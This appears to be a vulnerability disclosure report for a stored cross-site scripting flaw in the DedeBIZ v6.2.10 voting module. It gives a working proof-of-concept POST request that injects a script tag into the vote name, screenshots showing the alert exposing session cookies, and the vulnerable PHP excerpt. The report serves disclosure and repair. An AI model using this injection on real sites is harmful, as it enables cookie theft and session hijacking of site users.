

Stored xss vulnerability exists in DedeBIZ v6.2.10

[Suggested description]

DedeBIZ v6.2.10 was discovered to contain stored xss vulnerability in /apps/vote.php.

[Vulnerability Type]

Cross Site Scripting (XSS)

[Vendor of Product]

<https://github.com/DedeBIZ/DedeV6>

<https://www.dedebiz.com/>

[Affected Product Code Base]

DedeBIZ 6.2.10

[Affected Component]

/apps/vote.php

```
POST /admin/vote_edit.php HTTP/1.1
.....
dopost=saveedit&aid=1&_csrf_token=f75a1bfe2b5ab6613069c569fadcb360&votename=%3Cscript%3
Ealert%28document.cookie%29%3C%2Fscript%3E&totalcount=0&starttime=2010-02-
17+00%3A00&endtime=2020-03-
19+00%3A00&isallow=1&view=1&spec=0&ismore=0&votenote=%3Cv%3Anote+id%3D%221%22+count%3D%
221%22%3E%E6%9C%8B%E5%8F%8B%E4%BB%8B%E7%BB%8D%3C%2Fv%3Anote%3E%3Cv%3Anote+id%3D%222%22+
count%3D%220%22%3E%E9%97%A8%E6%88%B7%E7%BD%91%E7%AB%99%E7%9A%84%E6%90%9C%E7%B4%A2%E5%BC%
95%E6%93%8E%3C%2Fv%3Anote%3E%3Cv%3Anote+id%3D%223%22+count%3D%222%22%3EGoogle%E6%88%96%
E7%99%BE%E5%BA%A6%E6%90%9C%E7%B4%A2%3C%2Fv%3Anote%3E%3Cv%3Anote+id%3D%224%22+count%3D%
222%22%3E%E5%88%AB%E7%9A%84%E7%BD%91%E7%AB%99%E4%B8%8A%E7%9A%84%E9%93%BE%E6%8E%A5%3C%2F
v%3Anote%3E%3Cv%3Anote+id%3D%225%22+count%3D%221%22%3E%E5%85%B6%E5%AE%83%E9%80%94%E5%BE%
84%3C%2Fv%3Anote%3E&isenable=0&Submit=
```

```
GET /apps/vote.php?aid=1&dopost=view HTTP/1.1
.....
```

[Attack Type]

Remote

[Vulnerability demonstration]

1. First, enter the admin backend management . Select 'plugin management', click on 'voting module', and the voting name can be modified on the right. Change 'Voting Name' to <script>alert(document.cookie)</script>

The screenshot shows a web-based administration interface for a voting module. On the left, a sidebar lists various management modules like 'Common Functions', 'Document Management', and 'Vote Module'. The 'Vote Module' is highlighted with a red box. The main content area is titled '投票管理 - 修改投票' (Vote Management - Modify Vote). It contains several input fields: '投票名称' (Vote Name) with the value '<script>alert(document.cookie)</script>', '投票总人数' (Total Participants) set to 0, '开始时间' (Start Time) set to 2010-02-17 00:00, '结束时间' (End Time) set to 2020-03-19 00:00, '是否允许游客投票' (Allow Guest Voting) with '否' (No) selected, '是否允许查看投票' (Allow View Voting) with '否' (No) selected, '投票时间间隔' (Voting Interval) set to 0 (N days after can vote again, 0 means same IP address can only vote once), '是否多选' (Multi-select) with '单选' (Single-select) selected, and '投票项' (Voting Items) which contains notes about friend introductions, search engines, and other links. At the bottom right, there are two buttons: '保存' (Save) and '返回' (Back), with '保存' also having a red arrow pointing to it.

2. After clicking the "Save" button, it was found that the voting name had been successfully modified. Then, click on the newly modified voting name and enter the voting page, it is found that XSS has been successfully triggered.

The screenshot shows the 'Vote Management' page after modification. The sidebar remains the same, with 'Vote Module' still highlighted. The main content area is titled '投票管理' (Vote Management) and displays a table of votes. The first row shows an ID of 1, a modified '投票名称' (Vote Name) field containing '<script>alert (document.cookie)</script>', a start time of 2010-02-17, an end time of 2020-03-19, 0 total participants, and an '启用' (Enabled) status. There are '修改' (Modify), '代码' (Code), and '删除' (Delete) buttons for each row. A red box highlights the modified vote name in the table, and a red arrow points to it with the text 'Click on'.



dedev6 显示

```
DedeUserID=1; DedeUserID__ckMd5=3e9d0a2f31fdce82;  
DedeStUUID=bf6dcf20fc2a4;  
DedeStUUID__ckMd5=f943b8f84d145175;  
PHPSESSID=inqfv4coevrdulf9tu98q3nl9a;  
DedeLoginTime=1689295544;  
DedeLoginTime__ckMd5=608cd81807ae63ed;  
ENV_GOBACK_URL=%2Fadmin%2Fvote_main.php;  
dede_csrf_token=d4b0f1276430f8bbecc171969d9232f0;  
dede_csrf_token__ckMd5=7c2d998e9ab49a33
```

确定

[Cause of vulnerability]

In `apps/vote.php`, the backend of the website did not filter special characters for "voting name", which triggered XSS by outputting XSS statements on the front-end page

vote.php

```
apps > vote.php
41     }
42     if ($row['isenable'] == 1) {
43         ShowMsg('此投票项未启用,暂时不能进行投票', $ENV_GOBACK_URL);
44         exit();
45     }
46 }
47 $vuname = $vo->VoteInfos['votename'];
48 $totalcount = $vo->VoteInfos['totalcount'];
49 $starttime = GetDateMk($vo->VoteInfos['starttime']);
50 $endtime = GetDateMk($vo->VoteInfos['endtime']);
51 $votelist = $vo->GetVoteResult("98%", 30, "30%");
52 //判断是否允许被查看
53 $admin = new userLogin;
54 if ($dopost == 'view') {
55     if ($row['view'] == 1 && empty($admin->userName)) {
56         ShowMsg('此投票项不允许查看结果', $ENV_GOBACK_URL);
57         exit();
58     }
59 }
60 //显示模板简单PHP文件
61 include(DEDETEMPLATE.'/apps/vote.htm');
62 ?>
```

[Repair suggestions]

Filter the voting name output content.